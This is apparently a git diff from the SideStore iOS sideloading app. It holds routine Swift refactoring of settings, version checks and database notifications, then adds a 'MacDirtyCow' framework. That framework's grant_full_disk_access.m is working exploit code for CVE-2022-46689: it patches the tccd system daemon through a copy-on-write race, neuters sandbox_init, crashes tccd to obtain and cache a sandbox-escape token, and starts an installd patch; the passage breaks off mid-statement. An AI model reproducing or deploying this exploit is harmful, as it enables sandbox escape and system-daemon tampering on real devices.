self.init(format: NSLocalizedString(formatted, comment: comment ?? ""), args)
}
}

View File

@@ -22,20 +22,15 @@ public extension UserDefaults
@NSManaged var firstLaunch: Date?
@NSManaged var requiresAppGroupMigration: Bool
@NSManaged var textServer: Bool
@NSManaged var sidejitenable: Bool
@NSManaged var textInputSideJITServerurl: String?
@NSManaged var textInputAnisetteURL: String?
@NSManaged var customAnisetteURL: String?
@NSManaged var menuAnisetteURL: String
@NSManaged var menuAnisetteList: String
@NSManaged var preferredServerID: String?
@NSManaged var isBackgroundRefreshEnabled: Bool
@NSManaged var isIdleTimeoutDisableEnabled: Bool
@NSManaged var isPairingReset: Bool
@NSManaged var isDebugModeEnabled: Bool
@NSManaged var presentedLaunchReminderNotification: Bool
@NSManaged var isMDCEnabled: Bool
@NSManaged var legacySideloadedApps: [String]?
@NSManaged var isLegacyDeactivationSupported: Bool
@@ -79,13 +74,11 @@ public extension UserDefaults
let defaults = [
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
#keyPath(UserDefaults.isIdleTimeoutDisableEnabled): true,
#keyPath(UserDefaults.isPairingReset): true,
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
#keyPath(UserDefaults.requiresAppGroupMigration): true,
#keyPath(UserDefaults.menuAnisetteURL): "https://ani.sidestore.io"
] as [String : Any]
#keyPath(UserDefaults.requiresAppGroupMigration): true
]
UserDefaults.standard.register(defaults: defaults)
UserDefaults.shared.register(defaults: defaults)

View File

@@ -40,7 +40,7 @@ public class AppVersion: NSManagedObject, Decodable, Fetchable
/* Relationships */
@NSManaged public private(set) var app: StoreApp?
@NSManaged @objc(latestVersionApp) public internal(set) var latestSupportedVersionApp: StoreApp?
@NSManaged public private(set) var latestVersionApp: StoreApp?
private override init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?)
{
@@ -54,8 +54,6 @@ public class AppVersion: NSManagedObject, Decodable, Fetchable
case localizedDescription
case downloadURL
case size
case minOSVersion
case maxOSVersion
}
public required init(from decoder: Decoder) throws
@@ -74,9 +72,6 @@ public class AppVersion: NSManagedObject, Decodable, Fetchable
self.downloadURL = try container.decode(URL.self, forKey: .downloadURL)
self.size = try container.decode(Int64.self, forKey: .size)
self._minOSVersion = try container.decodeIfPresent(String.self, forKey: .minOSVersion)
self._maxOSVersion = try container.decodeIfPresent(String.self, forKey: .maxOSVersion)
}
catch
{
@@ -118,13 +113,4 @@ public extension AppVersion
return appVersion
}
var isSupported: Bool {
if let minOSVersion = self.minOSVersion, !ProcessInfo.processInfo.isOperatingSystemAtLeast(minOSVersion) {
return false
} else if let maxOSVersion = self.maxOSVersion, ProcessInfo.processInfo.operatingSystemVersion > maxOSVersion {
return false
}
return true
}
}

View File

@@ -13,11 +13,11 @@ import Roxas
extension CFNotificationName
{
fileprivate static let willMigrateDatabase = CFNotificationName("com.rileytestut.AltStore.WillMigrateDatabase" as CFString)
fileprivate static let willAccessDatabase = CFNotificationName("com.rileytestut.AltStore.WillAccessDatabase" as CFString)
}
private let ReceivedWillMigrateDatabaseNotification: @convention(c) (CFNotificationCenter?, UnsafeMutableRawPointer?, CFNotificationName?, UnsafeRawPointer?, CFDictionary?) -> Void = { (center, observer, name, object, userInfo) in
DatabaseManager.shared.receivedWillMigrateDatabaseNotification()
private let ReceivedWillAccessDatabaseNotification: @convention(c) (CFNotificationCenter?, UnsafeMutableRawPointer?, CFNotificationName?, UnsafeRawPointer?, CFDictionary?) -> Void = { (center, observer, name, object, userInfo) in
DatabaseManager.shared.receivedWillAccessDatabaseNotification()
}
fileprivate class PersistentContainer: RSTPersistentContainer
@@ -52,15 +52,15 @@ public class DatabaseManager
private let coordinator = NSFileCoordinator()
private let coordinatorQueue = OperationQueue()
private var ignoreWillMigrateDatabaseNotification = false
private var ignoreWillAccessDatabaseNotification = false
private init()
{
self.persistentContainer = PersistentContainer(name: "AltStore", bundle: Bundle(for: DatabaseManager.self))
self.persistentContainer.preferredMergePolicy = MergePolicy()
let observer = Unmanaged.passUnretained(self).toOpaque()
CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), observer, ReceivedWillMigrateDatabaseNotification, CFNotificationName.willMigrateDatabase.rawValue, nil, .deliverImmediately)
CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), observer, ReceivedWillAccessDatabaseNotification, CFNotificationName.willAccessDatabase.rawValue, nil, .deliverImmediately)
}
}
@@ -87,13 +87,10 @@ public extension DatabaseManager
guard !self.isStarted else { return finish(nil) }
if self.persistentContainer.isMigrationRequired {
// Quit any other running AltStore processes to prevent concurrent database access during and after migration.
self.ignoreWillMigrateDatabaseNotification = true
CFNotificationCenterPostNotification(CFNotificationCenterGetDarwinNotifyCenter(), .willMigrateDatabase, nil, nil, true)
}
// Quit any other running AltStore processes to prevent concurrent database access during and after migration.
self.ignoreWillAccessDatabaseNotification = true
CFNotificationCenterPostNotification(CFNotificationCenterGetDarwinNotifyCenter(), .willAccessDatabase, nil, nil, true)
self.migrateDatabaseToAppGroupIfNeeded { (result) in
switch result
{
@@ -232,7 +229,7 @@ private extension DatabaseManager
else
{
storeApp = StoreApp.makeAltStoreApp(in: context)
storeApp.latestSupportedVersion?.version = localApp.version
storeApp.latestVersion?.version = localApp.version
storeApp.source = altStoreSource
}
@@ -420,13 +417,13 @@ private extension DatabaseManager
}
}
func receivedWillMigrateDatabaseNotification()
func receivedWillAccessDatabaseNotification()
{
defer { self.ignoreWillMigrateDatabaseNotification = false }
defer { self.ignoreWillAccessDatabaseNotification = false }
// Ignore notifications sent by the current process.
guard !self.ignoreWillMigrateDatabaseNotification else { return }
guard !self.ignoreWillAccessDatabaseNotification else { return }
exit(104)
}
}

View File

@@ -62,14 +62,14 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
@objc public var hasUpdate: Bool {
if self.storeApp == nil { return false }
if self.storeApp!.latestSupportedVersion == nil { return false }
if self.storeApp!.latestVersion == nil { return false }
let currentVersion = SemanticVersion(self.version)
let latestVersion = SemanticVersion(self.storeApp!.latestSupportedVersion!.version)
let latestVersion = SemanticVersion(self.storeApp!.latestVersion!.version)
if currentVersion == nil || latestVersion == nil {
// One of the versions is not valid SemVer, fall back to comparing the version strings by character
return self.version < self.storeApp!.latestSupportedVersion!.version
return self.version < self.storeApp!.latestVersion!.version
}
return currentVersion! < latestVersion!
@@ -163,8 +163,8 @@ public extension InstalledApp
class func updatesFetchRequest() -> NSFetchRequest<InstalledApp>
{
let fetchRequest = InstalledApp.fetchRequest() as NSFetchRequest<InstalledApp>
fetchRequest.predicate = NSPredicate(format: "%K == YES AND %K != nil AND %K != %K",
#keyPath(InstalledApp.isActive), #keyPath(InstalledApp.storeApp), #keyPath(InstalledApp.version), #keyPath(InstalledApp.storeApp.latestSupportedVersion.version))
fetchRequest.predicate = NSPredicate(format: "%K == YES AND %K == YES",
#keyPath(InstalledApp.isActive), #keyPath(InstalledApp.hasUpdate))
return fetchRequest
}
@@ -275,12 +275,14 @@ public extension InstalledApp
do { try FileManager.default.createDirectory(at: appsDirectoryURL, withIntermediateDirectories: true, attributes: nil) }
catch { print("Creating App Directory Error: \(error)") }
print("`appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)")
return appsDirectoryURL
}
class var legacyAppsDirectoryURL: URL {
let baseDirectory = FileManager.default.applicationSupportDirectory
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
print("legacy `appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)")
return appsDirectoryURL
}

View File

@@ -19,8 +19,6 @@ extension LoggedError
case deactivate
case backup
case restore
case connection
case enableJIT
}
}
@@ -68,12 +66,7 @@ public class LoggedError: NSManagedObject, Fetchable
self.date = date
self._operation = operation?.rawValue
let nsError: NSError
if let error = error as? ALTServerError, error.code == .underlyingError, let underlyingError = error.underlyingError {
nsError = underlyingError as NSError
} else {
nsError = error as NSError
}
let nsError = error as NSError
self.domain = nsError.domain
self.code = Int32(nsError.code)
self.userInfo = nsError.userInfo
@@ -98,7 +91,7 @@ public extension LoggedError
return app
}
var error: NSError {
var error: Error {
let nsError = NSError(domain: self.domain, code: Int(self.code), userInfo: self.userInfo)
return nsError
}
@@ -120,8 +113,6 @@ public extension LoggedError
case .deactivate: return String(format: NSLocalizedString("Deactivate %@ Failed", comment: ""), self.appName)
case .backup: return String(format: NSLocalizedString("Backup %@ Failed", comment: ""), self.appName)
case .restore: return String(format: NSLocalizedString("Restore %@ Failed", comment: ""), self.appName)
case .connection: return String(format: NSLocalizedString("Connection during %@ Failed", comment: ""), self.appName)
case .enableJIT: return String(format: NSLocalizedString("Enabling JIT for %@ Failed", comment: ""), self.appName)
}
}
}

View File

@@ -44,7 +44,7 @@ open class MergePolicy: RSTRelationshipPreservingMergePolicy
let conflictingAppVersions = conflict.conflictingObjects.lazy.compactMap { $0 as? AppVersion }
// Primary AppVersion == AppVersion whose latestVersionApp.latestVersion points back to itself.
if let primaryAppVersion = conflictingAppVersions.first(where: { $0.latestSupportedVersionApp?.latestSupportedVersion == $0 }),
if let primaryAppVersion = conflictingAppVersions.first(where: { $0.latestVersionApp?.latestVersion == $0 }),
let secondaryAppVersion = conflictingAppVersions.first(where: { $0 != primaryAppVersion })
{
secondaryAppVersion.managedObjectContext?.delete(secondaryAppVersion)

View File

@@ -48,7 +48,7 @@ fileprivate extension NSManagedObject
func setStoreAppLatestVersion(_ appVersion: NSManagedObject)
{
self.setValue(appVersion, forKey: #keyPath(StoreApp.latestSupportedVersion))
self.setValue(appVersion, forKey: #keyPath(StoreApp.latestVersion))
let versions = NSOrderedSet(array: [appVersion])
self.setValue(versions, forKey: #keyPath(StoreApp._versions))

View File

@@ -146,7 +146,7 @@ public class StoreApp: NSManagedObject, Decodable, Fetchable
@NSManaged @objc(source) public var _source: Source?
@NSManaged @objc(permissions) public var _permissions: NSOrderedSet
@NSManaged @objc(latestVersion) public private(set) var latestSupportedVersion: AppVersion?
@NSManaged public private(set) var latestVersion: AppVersion?
@NSManaged @objc(versions) public private(set) var _versions: NSOrderedSet
@NSManaged public private(set) var loggedErrors: NSSet /* Set<LoggedError> */ // Use NSSet to avoid eagerly fetching values.
@@ -169,6 +169,31 @@ public class StoreApp: NSManagedObject, Decodable, Fetchable
return self._versions.array as! [AppVersion]
}
@nonobjc public var size: Int64? {
guard let version = self.latestVersion else { return nil }
return version.size
}
@nonobjc public var version: String? {
guard let version = self.latestVersion else { return nil }
return version.version
}
@nonobjc public var versionDescription: String? {
guard let version = self.latestVersion else { return nil }
return version.localizedDescription
}
@nonobjc public var versionDate: Date? {
guard let version = self.latestVersion else { return nil }
return version.date
}
@nonobjc public var downloadURL: URL? {
guard let version = self.latestVersion else { return nil }
return version.downloadURL
}
private override init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?)
{
super.init(entity: entity, insertInto: context)
@@ -289,30 +314,16 @@ public class StoreApp: NSManagedObject, Decodable, Fetchable
}
}
internal extension StoreApp
private extension StoreApp
{
func setVersions(_ versions: [AppVersion])
{
guard let latestVersion = versions.first else { preconditionFailure("StoreApp must have at least one AppVersion.") }
self.latestVersion = latestVersion
self._versions = NSOrderedSet(array: versions)
let latestSupportedVersion = versions.first(where: { $0.isSupported })
self.latestSupportedVersion = latestSupportedVersion
for case let version as AppVersion in self._versions
{
if version == latestSupportedVersion
{
version.latestSupportedVersionApp = self
}
else
{
// Ensure we replace any previous relationship when merging.
version.latestSupportedVersionApp = nil
}
}
// Preserve backwards compatibility by assigning legacy property values.
guard let latestVersion = versions.first else { preconditionFailure("StoreApp must have at least one AppVersion.") }
self._version = latestVersion.version
self._versionDate = latestVersion.date
self._versionDescription = latestVersion.localizedDescription
@@ -323,10 +334,6 @@ internal extension StoreApp
public extension StoreApp
{
var latestAvailableVersion: AppVersion? {
return self._versions.firstObject as? AppVersion
}
@nonobjc class func fetchRequest() -> NSFetchRequest<StoreApp>
{
return NSFetchRequest<StoreApp>(entityName: "StoreApp")

View File

@@ -40,7 +40,7 @@ extension ALTApplication: AppProtocol
extension StoreApp: AppProtocol
{
public var url: URL? {
return self.latestAvailableVersion?.downloadURL
return self.downloadURL
}
}
@@ -50,17 +50,3 @@ extension InstalledApp: AppProtocol
return self.fileURL
}
}
extension AppVersion: AppProtocol {
public var name: String {
return self.app?.name ?? self.bundleIdentifier
}
public var bundleIdentifier: String {
return self.appBundleID
}
public var url: URL? {
return self.downloadURL
}
}

View File

@@ -1,8 +1,8 @@
// Configuration settings file format documentation can be found at:
// https://help.apple.com/xcode/#/dev745c5c974
MARKETING_VERSION = 0.5.7
CURRENT_PROJECT_VERSION = 5070
MARKETING_VERSION = 0.5.5
CURRENT_PROJECT_VERSION = 5050
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
DEVELOPMENT_TEAM = S32Z3HMYVQ

21
MacDirtyCow/MacDirtyCow.h Normal file
View File

@@ -0,0 +1,21 @@
//
// MacDirtyCow.h
// MacDirtyCow
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
#import <Foundation/Foundation.h>
//! Project version number for MacDirtyCow.
FOUNDATION_EXPORT double MacDirtyCowVersionNumber;
//! Project version string for MacDirtyCow.
FOUNDATION_EXPORT const unsigned char MacDirtyCowVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <MacDirtyCow/PublicHeader.h>
#include "grant_full_disk_access.h"
#include "helpers.h"
#include "vm_unaligned_copy_switch_race.h"

View File

@@ -0,0 +1,16 @@
//
// grant_full_disk_access.h
// AltStore
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
#ifndef grant_full_disk_access_h
#define grant_full_disk_access_h
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
bool patch_installd(void);
#endif /* grant_full_disk_access_h */

View File

@@ -0,0 +1,618 @@
//
// grant_full_disk_access.m
// MacDirtyCow
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_full_disk_access.h"
#import "helpers.h"
#import "vm_unaligned_copy_switch_race.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct grant_full_disk_access_offsets {
uint64_t offset_addr_s_com_apple_tcc_;
uint64_t offset_padding_space_for_read_write_string;
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
uint64_t offset_auth_got__sandbox_init;
uint64_t offset_just_return_0;
bool is_arm64e;
};
static bool patchfind_sections(void* executable_map,
struct segment_command_64** data_const_segment_out,
struct symtab_command** symtab_out,
struct dysymtab_command** dysymtab_out) {
struct mach_header_64* executable_header = executable_map;
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_const_segment_out = segment;
}
break;
}
case LC_SYMTAB: {
*symtab_out = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dysymtab_out = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool patchfind(void* executable_map, size_t executable_length,
struct grant_full_disk_access_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_addr_s_com_apple_tcc_ =
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_padding_space_for_read_write_string =
patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->offset_auth_got__sandbox_init =
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
printf("no sandbox_init\n");
return false;
}
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
0) {
printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = executable_map;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
xpc_connection_t connection = xpc_connection_create_mach_service(
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
NSLog(@"xpc event handler: %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
"target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
NSLog(@"object is nil???");
completion(nil);
return;
}
NSLog(@"response: %@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
NSLog(@"xpc error?");
completion(nil);
return;
}
NSLog(@"debug description: %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
struct grant_full_disk_access_offsets offsets = {};
if (!patchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
}
{
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase targetRebase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary);
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
targetRebase;
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.offset_auth_got__sandbox_init) =
targetRebase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase targetRebase = {
.bind = 0,
.next = 2,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
targetRebase;
}
return data;
}
static bool overwrite_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unaligned_copy_switch_race(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patchTCCD(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.tccd");
sleep(1);
call_tccd(^(NSString* _Nullable extension_token) {
overwrite_file(fd, originalData);
xpc_crasher("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
@"reverted after reboot, so running this may permanently corrupt tccd."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct installd_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(executable_map + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static bool patchfind_installd(void* executable_map, size_t executable_length,
struct installd_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
"MIInstallableBundle")) == 0) {
printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(executable_map +
